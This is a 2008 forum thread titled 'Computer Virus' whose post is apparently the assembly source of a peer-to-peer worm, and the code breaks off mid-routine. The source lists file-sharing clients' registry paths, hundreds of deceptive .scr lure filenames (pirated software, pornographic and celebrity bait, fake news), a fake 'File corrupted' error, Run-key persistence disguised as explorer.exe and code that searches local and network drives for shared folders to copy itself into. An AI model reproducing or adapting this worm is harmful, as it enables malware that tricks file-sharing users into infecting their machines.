Computer Virus
 
Forums: » Register « |  User CP |  Games |  Calendar |  Members |  FAQs |  Sitemap |  Support | 
 
User Name:
Password:
Remember me
Go Back   Web Development Archives FAQs Computer Virus

Reply
Add This Thread To:
  Del.icio.us   Digg   Google   Spurl   Blink   Furl   Simpy   Y! MyWeb 
Thread Tools Search this Thread Display Modes
 
Unread Web Development Archives Sponsor:
  #1  
Old June 15th, 2008, 05:20 PM
zimage
Guest
Dev Archives Newbie (0 - 499 posts)
 
Posts: n/a  
Time spent in forums:
Reputation Power:
>

data
p2pregkeys dd 80000001h
db "Software\Shareaza\Shareaza\Downloads",0
db "CompletePath",0
dd 80000001h
db "\Software\Kazaa\LocalContent",0
db "Dir0"
dd 80000001h
db "Software\KaZaA\Transfer",0
db "DlDir0",0
dd 80000001h
db "\Software\Kazaa\LocalContent",0
db "DlDir0",0
dd 80000001h
db "\Software\Kazaa\LocalContent",0
db "DownloadDir",0
dd 80000001h
db "\Software\BearShare",0
db "InstallDir",0
dd 80000001h
db "\Software\Morpheus",0
db "Install_Dir",0
dd 80000001h
db "Software\iMesh\Client\LocalContent",0
db "Dir0",0
dd 80000001h
db "\Software\Grokster\LocalContent",0
db "Dir0",0
dd 80000001h
db "\Software\WarezP2P\wp",0
dd 80000001h
db "\Software\Soft\IRC\Settings\CompleteDir",0
dd 80000001h
db "\Software\eMule\Install Path",0
dd 0ffffffffh

dirnames db "shared",0
db "completedir",0
db "complete",0
db "music",0
db "my music",0
db "shared files"
db "download",0
db "completed",0
db "my shared folder",0
db "downloads",0
db "share",0
db "shared folder",0
db "shared directory",0
db "shared documents",0
db "shareddocs",0
db "downloaded files",0
db "downloaded music",0
db "shared music",0
db "my downloaded files",0
db "mp3",0
db "mp3 files",0
db "my mp3 files",0
db "music files",0
db "music folder",0
db "my mp3 files",0
db "my music folder",0
db "my music files",0
db "my music",0
db "upload",0
db "p2p shared folder",0
db "p2p folder",0
dd 0ffffffffh

faketitle db "Error",0
fakemsg db "File corrupted",0

files db "Download files LEGALLY.scr",0
db "LEGAL file downloads.scr",0
db "CLICK HERE for legal file downloads.scr",0
db "Josef Fritzl interview EXCLUSIVE.scr",0
db "First Fritzl pictures EXCLUSIVE.scr",0
db "Josef Fritzl dead.scr",0
db "Pictures of Fritzl Family EXCLUSIVE.scr",0
db "Elisabeth Fritzl tells all.scr",0
db "Josef Frizl dies.scr",0
db "Harry Potter prequel.scr",0
db "Indiana Jones.scr",0
db "Sugababes nude.scr",0
db " victory speech.scr",0
db " bin laden found.scr",0
db "axxo.scr",0
db "fxg.scr",0
db "battlestar galactica.scr",0
db "the forbidden kingdom.scr",0
db "street kings.scr",0
db "iron man.scr",0
db "psp.scr",0
db "movies.scr",0
db "21.scr",0
db "lost.scr",0
db "discography.scr",0
db "doctor who.scr",0
db "pc games.scr",0
db "2008.scr",0
db "french.scr",0
db "forgetting sarah marshall.scr",0
db "10000 bc.scr",0
db "smallville.scr",0
db "prison break.scr",0
db "ufc 83.scr",0
db "juno.scr",0
db "madonna.scr",0
db "heroes.scr",0
db "scrubs.scr",0
db "gay.scr",0
db "cloverfield.scr",0
db "nero.scr",0
db "jumper.scr",0
db "the office.scr",0
db "never back down.scr",0
db "nds.scr",0
db "naruto.scr",0
db "teen.scr",0
db "wii.scr",0
db "south park.scr",0
db "desperate housewives.scr",0
db "mariah carey.scr",0
db "prom night.scr",0
db "superhero movie.scr",0
db "national treasure.scr",0
db "ps2.scr",0
db "windows xp.scr",0
db "step up 2.scr",0
db "fools gold.scr",0
db "windows vista.scr",0
db "dvdrip.scr",0
db "i am legend.scr",0
db "avatar.scr",0
db "family guy.scr",0
db "mp4.scr",0
db "vantage point.scr",0
db "mature.scr",0
db "csi.scr",0
db "star wars.scr",0
db "the ruins.scr",0
db "tomtom.scr",0
db "shemale.scr",0
db "bleach.scr",0
db "doomsday.scr",0
db "spiderwick.scr",0
db "playboy.scr",0
db "supernatural.scr",0
db "lolita.scr",0
db "hardcore.scr",0
db "photoshop.scr",0
db "lil wayne.scr",0
db "jenna jameson.scr",0
db "hitman.scr",0
db "indiana jones.scr",0
db "ipod.scr",0
db "italian.scr",0
db "one tree hill.scr",0
db "asian.scr",0
db "amateur.scr",0
db "assassins creed.scr",0
db "private.scr",0
db "27 dresses.scr",0
db "leona lewis.scr",0
db "there will be blood.scr",0
db "harry potter.scr",0
db "xbox.scr",0
db "shutter.scr",0
db "rambo.scr",0
db "meet the spartans.scr",0
db "metallica.scr",0
db "wwe.scr",0
db "horton.scr",0
db "my name is earl.scr",0
db "winrar.scr",0
db "bones.scr",0
db "music.scr",0
db "japanese.scr",0
db "pathology.scr",0
db "the eye.scr",0
db "in bruges.scr",0
db "disney.scr",0
db "russian.scr",0
db "greatest hits.scr",0
db "untraceable.scr",0
db "be kind rewind.scr",0
db "transformers.scr",0
db "pink floyd.scr",0
db "dexter.scr",0
db "drillbit taylor.scr",0
db "****.scr",0
db "usher.scr",0
db "leatherheads.scr",0
db "88 minutes.scr",0
db "how i met your mother.scr",0
db "stargate.scr",0
db "greek.scr",0
db "alvin and the chipmunks.scr",0
db "call of duty 4.scr",0
db "simpsons.scr",0
db "hindi.scr",0
db "duffy.scr",0
db "greys anatomy.scr",0
db "sims 2.scr",0
db "rolling stones.scr",0
db "crysis.scr",0
db "shine a light.scr",0
db "ncis.scr",0
db "dr who.scr",0
db "kaspersky.scr",0
db "office 2007.scr",0
db "karaoke.scr",0
db "final fantasy.scr",0
db "300.scr",0
db "gossip girl.scr",0
db "torchwood.scr",0
db "ghost whisperer.scr",0
db "the bank job.scr",0
db "michael jackson.scr",0
db "one piece.scr",0
db "naughty america.scr",0
db "ps i love you.scr",0
db "portishead.scr",0
db "horror.scr",0
db "big tits.scr",0
db "microsoft office.scr",0
db "semi pro.scr",0
db "britney spears.scr",0
db "american gangster.scr",0
db "dutch.scr",0
db "hard candy.scr",0
db "bangbus.scr",0
db "gta.scr",0
db "24.scr",0
db "batman.scr",0
db "autocad.scr",0
db "beowulf.scr",0
db "enchanted.scr",0
db "survivor.scr",0
db "divx.scr",0
db "resident evil.scr",0
db "creampie.scr",0
db "avi.scr",0
db "top gear.scr",0
db "gangbang.scr",0
db "jericho.scr",0
db "adobe.scr",0
db "reaper.scr",0
db "queen.scr",0
db "in the name of the king.scr",0
db "code geass.scr",0
db "into the wild.scr",0
db "sexotorrent.scr",0
db "soundtrack.scr",0
db "beatles.scr",0
db "linkin park.scr",0
db "chris brown.scr",0
db "pokemon.scr",0
db "calzaghe.scr",0
db "disturbed.scr",0
db "world of warcraft.scr",0
db "model.scr",0
db "u2.scr",0
db "amy winehouse.scr",0
db "flac.scr",0
db "bondage.scr",0
db "rosetta stone.scr",0
db "the golden compass.scr",0
db "audio book.scr",0
db "justin timberlake.scr",0
db "rihanna.scr",0
db "kyle xy.scr",0
db "terminator.scr",0
db "young.scr",0
db "comedy.scr",0
db "smart people.scr",0
db "underbelly.scr",0
db "deception.scr",0
db "star trek.scr",0
db "kvcd.scr",0
db "30 rock.scr",0
db "no country for old men.scr",0
db "squirt.scr",0
db "taboo.scr",0
db "bbc.scr",0
db "norton.scr",0
db "garmin.scr",0
db "age of empires.scr",0
db "belenix 0.7.scr",0
db "bee movie.scr",0
db "need for speed.scr",0
db "orgy.scr",0
db "eminem.scr",0
db "spiderman.scr",0
db "nude.scr",0
db "1080p.scr",0
db "numb3rs.scr",0
db "death note.scr",0
db "pushing daisies.scr",0
db "bang bros.scr",0
db "horse.scr",0
db "ben 10.scr",0
db "ratatouille.scr",0
db "hd.scr",0
db "nintendo ds.scr",0
db "cooking quest.scr",0
db "definitely maybe.scr",0
db "one missed call.scr",0
db "dog.scr",0
db "the wire.scr",0
db "iron maiden.scr",0
db "american idol.scr",0
db "kim kardashian.scr",0
db "blowjob.scr",0
db "homemade.scr",0
db "st trinians.scr",0
db "national geographic.scr",0
db "tera patrick.scr",0
db "led zeppelin.scr",0
db "foo fighters.scr",0
db "radiohead.scr",0
db "chuck.scr",0
db "sweeney todd.scr",0
db "lejdis.scr",0
db "jack johnson.scr",0
db "rocco.scr",0
db "anime.scr",0
db "expelled.scr",0
db "ugly betty.scr",0
db "bbw.scr",0
db "30 days of night.scr",0
db "psx.scr",0
db "fxm.scr",0
db "van morrison.scr",0
db "dirt.scr",0
db "spanish.scr",0
db "the mist.scr",0
db "oasis.scr",0
db "bob marley.scr",0
db "antivirus.scr",0
db "san andreas.scr",0
db "bob dylan.scr",0
db "nip tuck.scr",0
db "boston legal.scr",0
db "nirvana.scr",0
db "billboard.scr",0
db "starcraft.scr",0
db "hannah montana.scr",0
db "the other boleyn girl.scr",0
db "barely legal.scr",0
db "kanye west.scr",0
db "depeche mode.scr",0
db "rem.scr",0
db "sex and the city.scr",0
db "bon jovi.scr",0
db "coldplay.scr",0
db "perfume.scr",0
db "akon.scr",0
db "limewire.scr",0
db "the who.scr",0
db "harold and kumar.scr",0
db "futurama.scr",0
db "howard stern.scr",0
db "muse.scr",0
db "speed racer.scr",0
db "skins.scr",0
db "american dad.scr",0
db "moby.scr",0
db "pearl jam.scr",0
db "def leppard.scr",0
db "ps3.scr",0
db "korn.scr",0
db "nickelback.scr",0
db "rush.scr",0
db "counter strike.scr",0
db "scarface.scr",0
db "guitar.scr",0
db "poweriso.scr",0
db "porn.scr",0
db "sex.scr",0
db "porno.scr",0
db "free porn.scr",0
db "xxx.scr",0
db "hardcore.scr",0
db "anal sex.scr",0
db "asian sex.scr",0
db "black sex.scr",0
db "ebony sex.scr",0
db "celeb sex.scr",0
db "xxx close ups.scr",0
db "cum shots.scr",0
db "group sex.scr",0
db "interracial sex.scr",0
db "latin sex.scr",0
db "masturbation video.scr",0
db "xxx web cam.scr",0
db "amateur xxx.scr",0
db "bear xxx.scr",0
db "xxx breasts.scr",0
db "xxx blondes.scr",0
db "zoo fetish.scr",0
db "fisting.scr",0
db "voyeur.scr",0
db "uniform sex.scr",0
db "babe xxx.scr",0
db "lesbosex.scr",0
db "lesbo xxx.scr",0
db "lesbo action.scr",0
db "rubber fetish.scr",0
db "gay blowjob.scr",0
db "babes with huge tits.scr",0
db "Beautiful asian brunette masturbating her wet ***** hard outdoors.scr",0
db "Beautiful teen girls show off everything and have sex.scr",0
db "Blonde and brunet kiss lick clitty.scr",0
db "Babe gives a lucky buddy a lovely long blow job.scr",0
db "slutty teenager gets pounded by black monstercocks.scr",0
db "Busty blonde getting slammed hard by a big chocolate cock.scr",0
db "Bisexual Cock Play.scr",0
db "Ebony female with big slugs and round outback gets shugged with big pole.scr",0
db "Filthy Horny Chick.scr",0
db "Twink gets his asshole ****ed after lunchtime workout at the local gym.scr",0
db "Lesbians ****ing Black *****.scr",0
db "Bisexual guy **** their girlfriends and best friends in bed together.scr",0
db "Bisexual xxx action.scr",0
db "BDSM XXX action.scr",0
db "Slutty teenager gets caned in BDSM action.scr",0
db "Girl sucks a **** soon as soon as it comes out from a guy's ass.scr",0
db "guy-on-guy sucking action.scr",0
db "BioShock FULL VERSIN.scr",0
db "Crysis FULL VERSIN.scr",0
db "Dragon Age FULL VERSIN.scr",0
db "Enemy Territory Quake Wars (full version).scr",0
db "Half-Life 2 Episode 2 FULL VERSIN.scr",0
db "Huxley (full version).scr",0
db "Left 4 Dead (full version).scr",0
db "The Lord of the Rings The Shadows of Angmar (full version).scr",0
db "Unreal Tournament III FULL VERSIN.scr",0
db "Manhunt FULL VERSIN.scr",0
db "Counter Strike (full version).scr",0
db "Babylon 3.50b FULL VERSIN.scr",0
db "Battlefield1942 FULL VERSIN.scr",0
db "GTA 3 FULL VERSIN.scr",0
db "Ana Kournikova Sex Video.scr",0
db "Animated Screen 7.0b.scr",0
db "Audiograbber 2.05.scr",0
db "BabeFest 2003 ScreenSaver 1.5.scr",0
db "AVG Anti-Virus Free Edition FULL VERSIN.scr",0
db "Ad-Aware 2007 FULL VERSIN.scr",0
db "LimeWire FULL VERSIN.scr",0
db "ICQ FULL VERSIN.scr",0
db "BitComet FULL VERSIN.scr",0
db "Avast Home Edition FULL VERSIN.scr",0
db "VersionTracker Pro FULL VERSIN.scr",0
db "WinZip FULL VERSIN.scr",0
db "RealPlayer FULL VERSIN.scr",0
db "BearFlix FULL VERSIN.scr",0
db "WinRAR FULL VERSIN.scr",0
db "FLV Player FULL VERSIN.scr",0
db "Spybot - Search & Destroy FULL VERSIN.scr",0
db "Camfrog Video Chat FULL VERSIN.scr",0
db "CheapestSoft All to iPod Converter FULL VERSIN.scr",0
db "FrostWire FULL VERSIN.scr",0
db "RoboForm FULL VERSIN.scr",0
db "Morpheus FULL VERSIN.scr",0
db "Nexus Radio FULL VERSIN.scr",0
db "MediaCell Video Converter FULL VERSIN.scr",0
db "Cable modem ultility pack.scr",0
db "Clone CD 5.0.0.3.scr",0
db "Counter-strike.scr",0
db "Cristina Aguilera Sex Video.scr",0
db "DVD Copy Plus v5.0.scr",0
db "DVD Region-Free 2.3.scr",0
db "DirectDVD 5.0.scr",0
db "DirectX Buster (all versions).scr",0
db "DirectX InfoTool.scr",0
db "DivX Video Bundle 6.5.scr",0
db "Divx pro.scr",0
db "Download Accelerator Plus 6.1.scr",0
db "Edonkey2000-Speed me up scotty.scr",0
db "Final Fantasy VII XP Patch 1.5.scr",0
db "FlashGet 1.5.scr",0
db "GetRight 5.0a.scr",0
db "Global DiVX Player 3.0.scr",0
db "Gothic2 licence.scr",0
db "Hot Babes XXX Screen Saver.scr",0
db "HotGirls.scr",0
db "Hotmail Hacker 2003-Xss Exploit.scr",0
db "Hotmail_hack.scr",0
db "ICQ Pro 2003a.scr",0
db "ICQ Pro 2003b (new beta).scr",0
db "IMesh 3.6.scr",0
db "IMesh 3.7b (beta).scr",0
db "IrfanView 4.5.scr",0
db "Jenifer Lopez Sex Video.scr",0
db "KaZaA Hack 2.5.0.scr",0
db "KaZaA Speedup 3.6.scr",0
db "Kazaa SDK + Xbit speedUp for 2.xx.scr",0
db "Living Waterfalls 1.3.scr",0
db "MIRC 6.40.scr",0
db "MSN Messenger 5.2.scr",0
db "Macromedia dreamweaver key generator.scr",0
db "Matrix Screensaver 1.5.scr",0
db "MediaPlayer Update.scr",0
db "Mp3Trim PR 2.5.scr",0
db "Netbios Nuker 2003.scr",0
db "Network Cable e ADSL Speed 2.0.5.scr",0
db "PS2 PlayStation Simulator.scr",0
db "PalTalk 5.01b.scr",0
db "Pamela_anderson.scr",0
db "Play station emulator.scr",0
db "Pop-Up Stopper 3.5.scr",0
db "Popup Defender 6.5.scr",0
db "Sakura Card Captor Movie.scr",0
db "Screen saver christina aguilera naked.scr",0
db "Screen saver christina aguilera.scr",0
db "Security-2003-Update.scr",0
db "Serials 2003 v.8.0 Full.scr",0
db "Serials2000.scr",0
db "Sex Live Simulator.scr",0
db "Sex Passwords.scr",0
db "SmartFTP 2.0.0.scr",0
db "SmartRipper v2.7.scr",0
db "Space Invaders 1978.scr",0
db "Spiderman Movie.scr",0
db "Starcraft serial.scr",0
db "Start Wars Trilogy Movies.scr",0
db "Subseven.scr",0
db "Thalia Sex Video.scr",0
db "Trillian 0.85 (free).scr",0
db "TweakAll 3.8.scr",0
db "Unreal2_bloodpatch.scr",0

db "Virtua Girl (Full).scr",0
db "Virtua girl - adriana.scr",0
db "Virtua girl - bailey short skirt.scr",0
db "VirtualSex.scr",0
db "Winamp 3.8.scr",0
db "Winamp plugin pack.scr",0
db "WindowBlinds 4.0.scr",0
db "Windows XP complete + serial.scr",0
db "Windows Xp Exploit.scr",0
db "Winzip full version key generator.scr",0
db "XNuker 2003 2.93b.scr",0
db "Yahoo Messenger 6.0.scr",0
db "Zelda Classic 2.00.scr",0
db "Hot chick xxx.scr",0
db "xxx.scr",0
db "Britney Spears Naked.scr",0
db "Busty Blonde gives blowjob.scr",0
db "Bearshare_Fix.scr",0
db "I-Explorer7.0.scr",0
db "Flock_Update.scr",0
db "WinMx Hack.scr",0
db "New_Napster_Clone.scr",0
db "Pamela_Live_****ing.scr",0
db "Beyond_FF11.scr",0
db "Final_Fantasy10.scr",0
db "Reboot.scr",0
db "Claudia_Schiffer.scr",0
db "FullSpeed.scr",0
db "Email Bomber.scr",0
db "Hotmail Hacker Tool.scr",0
db "Anti 0190 Dialer.scr",0
db "Britney Spears Nude.scr",0
db "Shakira Nude.scr",0
db "Jenifer Lopez Naked.scr",0
db "Ps2 Emulator.scr",0
db "Cube Emulator.scr",0
db "XBox Emulator.scr",0
db "Borland Delphi 6 Key.scr",0
db "I-Explorer7.0.scr",0
db "Morpheus_Update_Fix.scr",0
db "Hackers.scr",0
db "Pamela_Live_****ing.scr",0
db "Beyond_FF11.scr",0
db "Final_Fantasy10.scr",0
db "Reboot.scr",0
db "Claudia_Schiffer.scr",0
db "FullSpeed.scr",0
db "Email Bomber.scr",0
db "Hotmail Hacker Tool.scr",0
db "Britney Spears Nude.scr",0
db "Shakira Nude.scr",0
db "Jenifer Lopez Naked.scr",0
db "Ps2 Emulator.scr",0
db "Cube Emulator.scr",0
db "Borland Delphi 6 Key.scr",0
db "I-Explorer7.0.scr",0
db "Morpheus_Update_Fix.scr",0
db "Kaza_Lite_Update_Fix.scr",0
db "Bearshare_Fix.scr",0
db "New_Napster_Clone.scr",0
db "DragonballZ.scr",0
db "Pamela_Live_****ing.scr",0
db "Final_Fantasy10.scr",0
db "Claudia_Schiffer.scr",0
db "WinMx Hack.scr",0
db "Britney Spears Nude.scr",0
db "Shakira Nude.scr",0
db "Jenifer Lopez Naked.scr",0
db "Ps2 Emulator.scr",0
db "Cube Emulator.scr",0
db "Borland Delphi 6 Key.scr",0
db "I-Explorer7.0.scr",0
db "Morpheus_Update_Fix.scr",0
db "Kaza_Lite_Update_Fix.scr",0
db "Kaza_Fix.scr",0
db "Edonkey_Fix.scr",0
db "Flock_Update.scr",0
db "Bearshare_Fix.scr",0
db "New_Napster_Clone.scr",0
db "SamuraiX.scr",0
db "Pamela_Live_****ing.scr",0
db "Beyond_FF11.scr",0
db "Final_Fantasy10.scr",0
db "Reboot.scr",0
db "Claudia_Schiffer.scr",0
db "FullSpeed.scr",0
db "Hotmail Hacker Tool.scr",0
db "Anti 0190 Dialer.scr",0
db "WinMx Hack.scr",0
db "Britney Spears Nude.scr",0
db "Shakira Nude.scr",0
db "Jenifer Lopez Naked.scr",0
db "Ps2 Emulator.scr",0
db "Cube Emulator.scr",0
db "Borland Delphi 6 Key.scr",0
db "Shakira Nude.scr",0
db "BackstreetBoys.scr",0
db "LordoftheRings.scr",0
db "StarWars.scr",0
db "MichelleBranch.scr",0
db "TheHives.scr",0
db "DrNo.scr",0
db "JamesBond.scr",0
db "NSync.scr",0
db "AddamsFamily.scr",0
db "PlayboyCenterFolds.scr",0
db "BritneySpearsNude.scr",0
db "ChristinaAguilera.scr",0
db "kn0x.scr",0
db "XXX.scr",0
db "NicoleKidman****.scr",0
db "CourtneyCoxNude.scr",0
db "Barack and Hillary Clinton ****ing.scr",0
db "Fidel Castro dies.scr",0
db " Bin Laden recent footage.scr",0
db "Portal HT FULL VERSIN.scr",0
db "Team Fortress 2 FULL VERSIN.scr",0
db "Assassin's Creed FULL VERSIN.scr",0
db "Sam & Max Episode 205 FULL VERSIN.scr",0
db "TrackMania Nations Forever FULL VERSIN.scr",0
db "Tom Clancy's Rainbow Six Vegas FULL VERSIN.scr",0
db "UEFA Euro 2008 FULL VERSIN.scr",0
db "Dream Pinball FULL VERSIN.scr",0
db "Supreme Ruler 2020 FULL VERSIN.scr",0
db "Age of Conan FULL VERSIN.scr",0
db "Iron Man FULL VERSIN.scr",0
db "Codename Panzers FULL VERSIN.scr",0
db "Jamster Allstars FULL VERSIN.scr",0
db "Talisman FULL VERSIN.scr",0
db "Plunder FULL VERSIN.scr",0
db "Stronghold Crusader Extreme FULL VERSIN.scr",0
db "LEG Indiana Jones FULL VERSIN.scr",0
db "Mass Effect FULL VERSIN.scr",0
db "Pro Cycling Manager 2008 FULL VERSIN.scr",0
db "Alone in the Dark FULL VERSIN.scr",0
db "The Chronicles of Narnia FULL VERSIN.scr",0
db "Kung Fu Panda FULL VERSIN.scr",0
db "SBK-08 Superbike World Championship FULL VERSIN.scr",0
db "Windchaser FULL VERSIN.scr",0
db "Women's Murder Club FULL VERSIN.scr",0
db "Strong Bad's Cool Game for Attractive People FULL VERSIN.scr",0
db "Bionic Commando Rearmed FULL VERSIN.scr",0
db "Heroes of Might & Magic Kingdoms FULL VERSIN.scr",0
db "Silent Hunter 4 Wolves of the Pacific - U-Boat Missions FULL VERSIN.scr",0
db "Europa Universalis Rome FULL VERSIN.scr",0
db "F Ultimate Carnage FULL VERSIN.scr",0
db "HEI$T FULL VERSIN.scr",0
db "Lost Planet Extreme Condition - Colonies Edition FULL VERSIN.scr",0
db "The Incredible Hulk FULL VERSIN.scr",0
db "American McGee's Grimm FULL VERSIN.scr",0
db "S.T.A.L.K.E.R. Clear Sky FULL VERSIN.scr",0
db "Football SuperStars FULL VERSIN.scr",0
db "The SimCity Box FULL VERSIN.scr",0
db "Mercenaries 2 World in Flames FULL VERSIN.scr",0
db "Spore HT FULL VERSIN.scr",0
db "A Vampyre Story FULL VERSIN.scr",0
db "Battlefield Heroes HT FULL VERSIN.scr",0
db "Beijing 2008 - the Video Game of the Games FULL VERSIN.scr",0
db "Legendary FULL VERSIN.scr",0
db "Line Rider FULL VERSIN.scr",0
db "Men of War FULL VERSIN.scr",0
db "Race Driver GRID FULL VERSIN.scr",0
db "Space Siege FULL VERSIN.scr",0
db "Left 4 Dead FULL VERSIN.scr",0
db "Velvet Assassin FULL VERSIN.scr",0
db "Dead Space FULL VERSIN.scr",0
db "Die Siedler Aufbruch der Kulturen FULL VERSIN.scr",0
db "Fallout 3 FULL VERSIN.scr",0
db "Far Cry 2 FULL VERSIN.scr",0
db "Ghostbusters FULL VERSIN.scr",0
db "Leisure Suit Larry Box Bust FULL VERSIN.scr",0
db "Littlest Pet Sho FULL VERSIN.scr",0
db "Pure FULL VERSIN.scr",0
db "The Lord of the Rings Mines of Moria FULL VERSIN.scr",0
db "This is Vegas FULL VERSIN.scr",0
db "Tom Clancy's HAWX FULL VERSIN.scr",0
db "Voltage FULL VERSIN.scr",0
db "Q4 2008 FULL VERSIN.scr",0
db "7Million FULL VERSIN.scr",0
db "A New Beginning FULL VERSIN.scr",0
db "Aion - Tower of Eternity FULL VERSIN.scr",0
db "Command & Conquer Red Alert 3 FULL VERSIN.scr",0
db "Gothic 3 Forsaken Gods FULL VERSIN.scr",0
db "Postal 3 FULL VERSIN.scr",0
db "The Whispered World FULL VERSIN.scr",0
db "Tomb Raider Underworld FULL VERSIN.scr",0
db "Activision James Bond FULL VERSIN.scr",0
db "All Points Bulletin FULL VERSIN.scr",0
db "Aquadelic GT FULL VERSIN.scr",0
db "Armed Assault 2 FULL VERSIN.scr",0
db "Blood Bowl FULL VERSIN.scr",0
db "Blue Mars FULL VERSIN.scr",0
db "Collapse FULL VERSIN.scr",0
db "Crayon Physics Deluxe FULL VERSIN.scr",0
db "Dead Island FULL VERSIN.scr",0
db "Delta Force Angel Falls FULL VERSIN.scr",0
db "Dragon Age FULL VERSIN.scr",0
db "East India Company FULL VERSIN.scr",0
db "Elveon FULL VERS FULL VERSIN.scr",0
db "Fallen Empire Legions FULL VERSIN.scr",0
db "Guild Wars 2 FULL VERSIN.scr",0
db "Haze FULL VERSIN.scr",0
db "Highlander FULL VERSIN.scr",0
db "Hydrophobia FULL VERSIN.scr",0
db "Insecticide FULL VERSIN.scr",0
db "Just Cause 2 FULL VERSIN.scr",0
db "LEG Batman FULL VERSIN.scr",0
db "LEG Universe HT FULL VERSIN.scr",0
db "Lord of the Rings The White Council FULL VERSIN.scr",0
db "Metro 2033 The Last Refuge FULL VERSIN.scr",0
db "Multiwinia FULL VERSIN.scr",0
db "Mythos FULL VERSIN.scr",0
db "NecroVisioN FULL VERSIN.scr",0
db "Numen FULL VERSIN.scr",0
db " Upon a Time in Japan Earth FULL VERSIN.scr",0
db " FULL VERSIN.scr",0
db "Penumbra Requiem FULL VERSIN.scr",0
db "Prototype HT FULL VERSIN.scr",0
db "Puzzle Quest Galactrix HT FULL VERSIN.scr",0
db "Red Faction Guerrilla FULL VERSIN.scr",0
db "Sacred 2 Fallen Angel FULL VERSIN.scr",0
db "Saga FULL VERSIN.scr",0
db "Sam Suede Undercover Exposure FULL VERSIN.scr",0
db "Savage 2 A Tortured Soul FULL VERSIN.scr",0
db "SBK 07 Superbike World Championship FULL VERSIN.scr",0
db "Sensible World of Soccer FULL VERSIN.scr",0
db "Splinter Cell Conviction FULL VERSIN.scr",0
db "Stargate Worlds FULL VERSIN.scr",0
db "Terra Formations FULL VERSIN.scr",0
db "The Chosen FULL VERSIN.scr",0
db "The Divine FULL VERSIN.scr",0
db "The Scourge Project FULL VERSIN.scr",0
db "The Sims Carnival HT FULL VERSIN.scr",0
db "The War of the Red Cliff FULL VERSIN.scr",0
db "Theseis FULL VERSIN.scr",0
db "TNA iMPACT FULL VERSIN.scr",0
db "Totems FULL VERSIN.scr",0
db "Warhammer Mark of Chaos - Battle March FULL VERSIN.scr",0
db "Warhound FULL VERSIN.scr",0
db "World in Conflict Soviet Assault HT FULL VERSIN.scr",0
db "X-Blades FULL VERSIN.scr",0
dd 0ffffffffh

pn dd 0
extra_buffer dd 0
sr dd 0
sh dd 0
dn dd 0
stubname dd 0
handle dd 0
bufsize dd 256
dirptr dd 0
rb dd 0
wd dd 0
sf db "",0
fileptr dd 0
fakename db "explorer.exe",0
runkey db "Software\Microsoft\Windows\CurrentVersion\Run",0
tempbuf dd 0
tempfile db "c:\$$$$$$$$.$$$",0
handlebuffer dd 0
ent dd 0
dotdot db "",0
cname db "ABCD",0
rhkey dd 0
olddir dd 0
year dw 0
month dw 0
dayofweek dw 0
day dw 0
hour dw 0
minute dw 0
second dw 0
milliseconds dw 0
ecounter dd 0
regptr dd 0
filetime dd 0,0,0,0,0,0,0,0
attr dd 0
drivetype dd 0
db "(c) Copyright Lord Chaos 2008",0
counter dd 0
valname db "DarkSoft",0
serialnum dd 0
driveptr dd 0
drivebuf dd 0
drivebufsize dd 0
count dd 0
countx dd 0
mp3ext db ".scr",0
edonkey db "Software\Shareaza\Shareaza\eDonkey",0
gnutella db "Software\Shareaza\Shareaza\Gnutella1",0
gnutellatwo db "Software\Shareaza\Shareaza\Gnutella2",0
enablealways db "EnableAlways",0
enablealways_val dd 1
dirattr dd 0
library db "Software\Shareaza\Shareaza\Library",0
maxsize db "MaxMaliciousFileSize",0
maxsizeval dd 1048576
db "They say that lifes a carousel",13,10
db "Spinning fast, youve got to ride it well",13,10
db "The world is full of kings and queens",13,10
db "Who blind your eyes and steal your dreams",13,10

code
start:
push 256 ; buffer size
push 0 ;
call GlobalAlloc ; allocate buffer
mov [pn],eax ; save buffer

push 256 ; buffer size
push 0 ;
call GlobalAlloc ; allocate buffer
mov [stubname],eax ; save buffer

push 1024 ; number of bytes to allocate
push 0 ;
call GlobalAlloc
mov [extra_buffer],eax ; save buffer address

call installprog ; install

call copy_regkeys ; copy into folders using registry keys

next_sharedrivex:
push 0
push 0
call GetLogicalDriveStringsA ; get drives
mov [drivebufsize],eax ; save size

push eax ; buffer size
push 0 ;
call GlobalAlloc ; allocate buffer
mov [drivebuf],eax ; save buffer
mov [driveptr],eax ; save

add eax,10 ; plus extra

push [drivebuf] ; buffer
push [drivebufsize] ; size
call GetLogicalDriveStringsA ; get drives

next_sharedrive:
call find_shareddirs ; find shared folders

mov edx,[driveptr] ; point to buffer

push [driveptr] ; buffer
call lstrlen ; get length
add edx,eax ; point to end
inc edx ; skip over null
mov [driveptr],edx ; save
cmp d [edx],0 ; if at end
jne next_sharedrive ; loop if not


push [drivebuf] ; buffer
call GlobalFree ; free buf

next_time_loop:
push offset year ; buffer
call GetSystemTime ; get time

cmp w [hour],0 ; if on the hour
jne next_time_loop ; loop if not
jmp next_sharedrivex ; search folders

find_shareddirs:

; allocate buffers

mov eax,1024*1024
mov [bufsize],eax

push eax ; buffer size
push 0
call GlobalAlloc
mov [handlebuffer],eax ; save buffer address

push 256 ; number of bytes to allocate
push 0
call GlobalAlloc ; allocate memory
mov [tempbuf],eax ; save buffer address

push [driveptr] ; buffer
call GetDriveTypeA ; get drive type
mov [drivetype],eax ; save drive type

cmp eax,3 ; if harddisk
jne >>check_next_type ; continue
jmp >>cont_drive ; search disk

check_next_type:
push [driveptr] ; buffer
call GetDriveTypeA ; get drive type
cmp eax,4 ; if network drive
jne >>dirsearch_exit ; exit if not

cont_drive:
push [driveptr] ; buffer
call SetCurrentDirectoryA
test eax,eax ; if error accessing drive
jz >>dirsearch_exit ; exit if error

mov esi,[handlebuffer] ; point to buffer

next_subdir:
push esi ; save position

next_subdirx:
pop esi ; restore position

push [extra_buffer] ; buffer
push offset sf ; search
call FindFirstFileA ; find first file
mov [esi],eax ; save search handle
inc eax ; increment
test eax,eax ; if no files
jz >>dodir_exit ; then exit

mov edx,[extra_buffer] ; point to buffer
add edx,2ch ; point to filename
mov [ent],edx ; save

push [ent] ; name
call GetFileAttributesA

test eax,16 ; if subdirectory
jz >>next_file ; continue if not

mov ebx,[ent] ; point to buffer

cmp b [ebx],"." ; if .
je >>next_file ; continue
cmp w [ebx],"" ; if
je >>next_file ; continue

push esi ; save
call compareanddrop ; drop
pop esi ; restore

push [ent] ; subdirectory
call SetCurrentDirectoryA

xor eax,eax ; clear
mov [ent],eax ; clear

add esi,4 ; point to next in buffer
mov eax,[extra_buffer] ; point to buffer
add eax,[bufsize] ; add size
sub eax,4 ; point to end
cmp esi,eax ; if at end
jne next_subdir ; do next subdirectory if not

call enlargebuffer ; enlarge buffer
jmp next_subdir ; do next subdirectory if not

next_file:
mov eax,[esi] ; get handle

